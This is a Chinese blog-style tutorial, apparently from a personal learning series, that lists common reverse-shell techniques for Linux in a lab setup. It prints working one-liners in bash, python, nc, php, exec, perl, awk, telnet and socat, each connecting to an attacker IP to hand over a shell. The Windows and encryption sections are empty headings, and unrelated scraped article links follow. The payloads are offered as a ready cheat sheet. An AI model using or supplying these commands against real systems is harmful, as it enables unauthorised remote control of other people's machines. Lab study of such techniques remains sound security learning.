文章目录

  • 一、前言
    • (0)参考文章
    • (1)总结思维导图
    • (2)个人总结
  • 二、Linux常用反弹shell姿势
    • (0)实验环境
    • (1)bash反弹shell
    • (2)python反弹shell
    • (3)nc反弹shell
    • (4)php反弹shell
    • (5)exec反弹shell
    • (6)perl反弹shell
    • (7)awk反弹shell
    • (8)telnet反弹shell
    • (8)socat反弹shell
  • 三、Windows常用反弹shell姿势
    • (0)实验环境
    • (1)nc反弹shell
    • (2)反弹shell
    • (3)反弹shell
  • 四、流量加密

一、前言

(0)参考文章

反弹shell

(1)总结思维导图

(2)个人总结

  1. 亲手去测试总会遇到各种问题,这个问题也可能是玄学问题,那就重启咯。
  2. 找解决方法时要注意加上系统及其版本,比如docker的安装在Ubuntu不同版本是不太一样的。为了防止入门劝退,最好找个跟自己一样系统版本的解决教程。
  3. 先动手按照教程去实验一遍,不懂原理可以稍后去了解,不要因为不会就永远停在一个地方。
  4. 最近看到的两句话
    (1)学习的本质是模仿。不会走先学爬,照葫芦画瓢,慢慢积累实战经验。
    (2)掌握一门学科所用的时间越短,学习质量就越高,对知识的理解也越深。所以短时间内不要贪多,以致嚼不烂。

二、Linux常用反弹shell姿势

(0)实验环境

CentOS 7(受害者,局域网)
kali (攻击者,局域网)
Ubuntu (攻击者,公网)

使用whereis命令去确定目标主机支持的方法,然后选择相应的shell语句

whereis nc bash python php exec lua perl ruby

(1)bash反弹shell

  1. 命令

    攻击者:nc -lnvp 9999
    受害者:bash -i >& /dev/tcp/20.210.90.167/9999 0>&1
    
  2. 受害者视角
  3. 攻击者视角
  4. 使用公网ip反弹shell

(2)python反弹shell

  1. 命令

    攻击者:nc -lnvp 8080
    受害者:python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('20.210.90.167',8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
    
  2. 攻击者视角(监听)
  3. 受害者视角

(3)nc反弹shell

  1. 命令

    攻击者:nc -lnvp 8080
    受害者:nc -e /bin/bash 20.210.90.167 8080
    
  2. 攻击者视角
  3. 受害者视角

(4)php反弹shell

  1. 命令

    攻击者:nc -nvlp 8080
    受害者:php -r 'exec("/usr/bin/bash -i >& /dev/tcp/20.210.90.167/8080 0>&1");'
    受害者:php -r '$sock=fsockopen("20.210.90.167",8080);exec("/bin/bash -i <&3 >&3 2>&3");'
    
  2. 出现了小问题
    原因:没有安装php,其实上面whereis没有php
    解决:网上找CentOS 7的教程安装一个php即可
  3. 攻击者
  4. 受害者
  5. 受害者

(5)exec反弹shell

  1. 命令

    攻击者:nc -nvlp 8080
    受害者:0<&196;exec 196<>/dev/tcp/20.210.90.167/8080; sh <&196 >&196 2>&196
    
  2. 受害者
  3. 攻击者

(6)perl反弹shell

  1. 命令

    攻击者:nc -nvlp 8080
    受害者:perl -e 'use Socket;$i="20.210.90.167";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
  2. 受害者
  3. 攻击者
  4. 小问题
    本来可以的,试了几次都不行,但是用着用着不行了,那就重启试试。

(7)awk反弹shell

  1. 命令

    攻击者:nc -nvlp 8080
    受害者:awk 'BEGIN{s="/inet/tcp/0/20.210.90.167/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
    
  2. 受害者
  3. 攻击者

(8)telnet反弹shell

  1. telnet介绍

    Telnet 协议是 Internet 远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用 telnet 程序,用它连接到服务器。终端使用者可以在 telnet 程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。要开始一个 telnet 会话,必须输入用户名和密码来登录服务器。Telnet 是常用的远程控制 Web 服务器的方法。

  2. 命令

    攻击者:nc -nvlp 1111      #输入命令
    攻击者:nc -nvlp 2222        #输出命令
    受害者:telnet 192.168.187.145 1111 | /bin/bash | telnet 192.168.187.145 2222
    
  3. 受害者

  4. 攻击者(发送命令)

  5. 攻击者(返回结果)

  6. 小问题
    解决:安装一个telnet

(8)socat反弹shell

  1. socat介绍

    Socat 是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似,可以看做是 Netcat 的加强版。
    Socat 的主要特点就是在两个数据流之间建立通道,且支持众多协议和链接方式。如 IP、TCP、 UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket等。

  2. 命令

    攻击者:nc -nvlp 8080
    受害者:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:20.210.90.167:8080
    
  3. 受害者

  4. 攻击者

  5. 小问题
    解决:安装socat

    yum install socat -y
    

三、Windows常用反弹shell姿势

(0)实验环境

Windows 10(受害者,局域网)
kali (攻击者,局域网)
Ubuntu (攻击者,公网)

(1)nc反弹shell

  1. Windows 下载安装 netcat(nc)命令
  2. 命令
    
    
  3. 受害者
  4. 攻击者

(2)反弹shell

  1. 命令

    
    
  2. 受害者
  3. 攻击者

(3)反弹shell

  1. 命令

    
    
  2. 受害者
  3. 攻击者

四、流量加密

反弹shell(未完待续)相关推荐

  1. javascript有用小功能总结(未完待续)

    1)javascript让页面标题滚动效果 代码如下: <title>您好,欢迎访问我的博客</title> <script type="text/javasc ...

  2. CTF论剑场(web) write up 未完待续

    CTF论剑场(web) write up web26 直接给你一串代码 <?php $num=$_GET['num']; $str=$_GET['str']; show_source(__FIL ...

  3. 构建Linux根文件系统(未完待续)

          所谓制作根文件系统, 就是创建各种目录, 并且在里面创建各种文件. 比如在/bin ./sbin 目录下存放各种可执行程序, 在/etc 目录下存放配置文件, 在/lib 目录下存放库文件 ...

  4. 《今日简史》读书笔记(未完待续)

    <今日简史>读书笔记(未完待续) 这本书是尤瓦尔·赫拉利的简史三部曲的最后一本,前2本书是<未来简史>和<人类简史>.根据豆瓣上网友的评价,这本书是尤瓦尔·赫拉利写 ...

  5. linux引数列项目过长,Linux 命令个人总结====== 未完待续 个人认为比较重要

    Linux 命令个人总结====== 未完待续 man [功能说明]: 查看帮助 [语法格式]: man [123456789]命令.文件. [选项参数]: 数字"1"表示用户命令 ...

  6. CC2530学习路线-基础实验-串口通讯发送字符串(4 未完待续)

    目录 1. 前期预备知识 1.1 串口通讯电路图 1.2 实验相关寄存器 1.2 常用波特率设置 本章未完待续..... 原来写的文章已经丢失了,只能找到这一小部分,看什么时候有时间再补上. 1. 前 ...

  7. Paper之BigGAN:ICLR 2019最新论文《LARGE SCALE GAN TRAINING FOR HIGH FIDELITY NATURAL IMAGE SYNTHESIS》(未完待续)

    Paper之BigGAN:ICLR 2019最新论文<LARGE SCALE GAN TRAINING FOR HIGH FIDELITY NATURAL IMAGE SYNTHESIS> ...

  8. Windows x64内核学习笔记(五)—— KPTI(未完待续)

    Windows x64内核学习笔记(五)-- KPTI(未完待续) KPTI 实验一:构造IDT后门并读取Cr3 参考资料 KPTI 描述:KPTI(Kernel page-table isolati ...

  9. Ubuntu1804和2004高版本,右键无法创建TXT文档的解决办法【未完待续】

    Ubuntu1804和2004高版本,右键无法创建TXT文档的解决办法[未完待续] 问题: Ubuntu1804和2004高版本,右键无法创建TXT文档 解决办法1:[常用] 1.打开终端 2.输入: ...

最新文章

  1. 汇编语言 循环让字符串中的字母变成大写
  2. xi mapping function-concat
  3. 设计一个健壮的大型文件下载系统
  4. axios nodejs 上传图片_vue项目中使用axios上传图片等文件操作
  5. java 创建者设计模式_Java设计模式之创建者模式分享热爱编程,程序人生
  6. 相机标定基础【1】- 在Visual Station 2019 上搭建OpenCV应用 (1)- 安装配置VS
  7. Centos彻底完全删除已安装软件的办法
  8. 如何从 ArcView 3.3 版本的工程迁移到 ArcGIS Desktop 10 ?
  9. JavaWeb框架三剑客前言
  10. 插拔usb设备计算机管理无反应,usb插上电脑没反应,详细教您浏览修复usb方法
  11. c++EasyX极乐净土的实现及音乐头文件的使用
  12. libtorrent源码分析(四)LSD实现
  13. winstor磁盘阵列数据恢复
  14. ASN.1入门(超详细)
  15. MATLA雾霾下的交通标志识别系统[GUI界面]
  16. c语言编写程序寻找最大公约数,C程序设计编程题库
  17. PMP知识点:项目经理必备的11种人际关系技能
  18. 迭代式开发使用方法总结
  19. 机器学习:从决策树到xgboost
  20. 电机系统标幺值基准值的选取

热门文章

  1. 杰理之外挂32K时钟。软关机时钟不走【篇】
  2. day07CSRF漏洞
  3. 博弈题解题思路及典例
  4. 人脸识别在opencv下作人脸检测
  5. laravel 上传图片 或word或excel储存不了后缀
  6. 2023最新简洁大气鞋服众望微商网站系统源码+价值200缘
  7. 国产麒麟系统一键部署PXE脚本传统BIOS(legacy)引导 仅供参考
  8. Guitar Pro中文版免费激活注册机码V2021.20.7下载地址问题疑难解答
  9. struts2 核心控制器:FilterDispatcher (写的真心清晰)
  10. 语音信号处理-语音信号的预处理